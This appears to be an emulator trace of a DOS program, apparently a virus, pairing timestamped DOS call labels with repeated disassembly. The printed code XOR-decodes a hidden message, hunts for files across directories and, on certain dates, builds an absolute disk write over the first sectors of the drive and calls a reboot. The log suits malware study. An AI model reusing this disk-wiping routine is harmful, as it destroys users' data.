0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.500454128Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.507456732Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.511447103Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.51340013Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.515981961Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.530403655Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.531651537Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.533958532Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.535306222Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.538059966Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.541709538Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.548795329Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.557961405Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.561457723Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.562930352Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.573238491Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.574911327Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.575855786Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.576779595Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.578656584Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.580098004Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.583939543Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.58837729Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.590322062Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.591233192Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.60330568Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.605510786Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.606608437Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.608183106Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.610160101Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.612093268Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.61808784Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.621900992Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.623806024Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.625651758Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.637648208Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.639988039Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.641657028Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.64322943Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.645149678Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.647556473Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.651632014Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.655575462Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.658546955Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.659625258Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.671507088Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.672948701Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.674100978Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.675412935Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.678796668Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.681187721Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.686875829Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.69141809Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.69385818Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.694789625Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.707624569Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.708767301Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.710027469Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.711682207Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.71379021Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.715782862Z 78 PC: 12b13 | Find first file
2018-12-17T22:43:03.721875103Z 59 PC: 12b7b | Change current directory
2018-12-17T22:43:03.725858853Z 42 PC: 12b83 | Get date 0x12b83: cmp dh, 0x11
0x12b86: jl 0x12ba7
0x12b88: cmp dl, 8
0x12b8b: jl 0x12ba7
0x12b8d: mov ah, 0x19
0x12b8f: int 0x21
0x12b91: mov cx, 0x25
0x12b94: mov dx, 0
0x12b97: lea bx, word ptr [bp + 0x16c]
0x12b9b: push ds
0x12b9c: pop es
0x12b9d: mov byte ptr [bp + 0x263], 0x26
0x12ba2: int 0x19
0x12ba4: add sp, 2
0x12ba7: mov ah, 0x1a
0x12ba9: mov dx, 0x80
0x12bac: int 0x21
0x12bae: call 0x12bb1
0x12bb1: call 0x12bb4
0x12bb4: call 0x12bb7
2018-12-17T22:43:03.728078093Z 26 PC: 12bae | Set disk transfer address
2018-12-17T22:43:03.729901183Z 9 PC: 12bce | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:43:03.742402642Z 26 PC: 12a5d | Set disk transfer address
2018-12-17T22:43:03.744913752Z 53 PC: 12a63 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:43:03.746957351Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:43:03.748164806Z 44 PC: 12a7b | Get time 0x12a7b: cmp dl, 0xd
0x12a7e: jg 0x12a84
0x12a80: mov al, 0x82
0x12a82: out 0x21, al
0x12a84: mov ah, 0x2c
0x12a86: int 0x21
0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
2018-12-17T22:43:03.750293399Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0x32
0x12a8b: jg 0x12afa
0x12a8d: mov si, 0
0x12a90: xor byte ptr [bp + si + 0x16c], 0x41
0x12a95: cmp si, 0x11
0x12a98: je 0x12a9d
0x12a9a: inc si
0x12a9b: jmp 0x12a90
0x12a9d: mov ah, 9
0x12a9f: lea dx, word ptr [bp + 0x16c]
0x12aa3: int 0x21
0x12aa5: mov ah, 0
0x12aa7: int 0x16
0x12aa9: jmp 0x12afa
0x12aab: nop
0x12aac: and byte ptr [bp + si + 0x75], al
0x12aaf: jb 0x12b1f
0x12ab1: inc bx
0x12ab2: jns 0x12b17
0x12ab4: insb byte ptr es:[di], dx
2018-12-17T22:43:03.753899665Z 9 PC: 12aa5 | Display string (Could not find end pointer)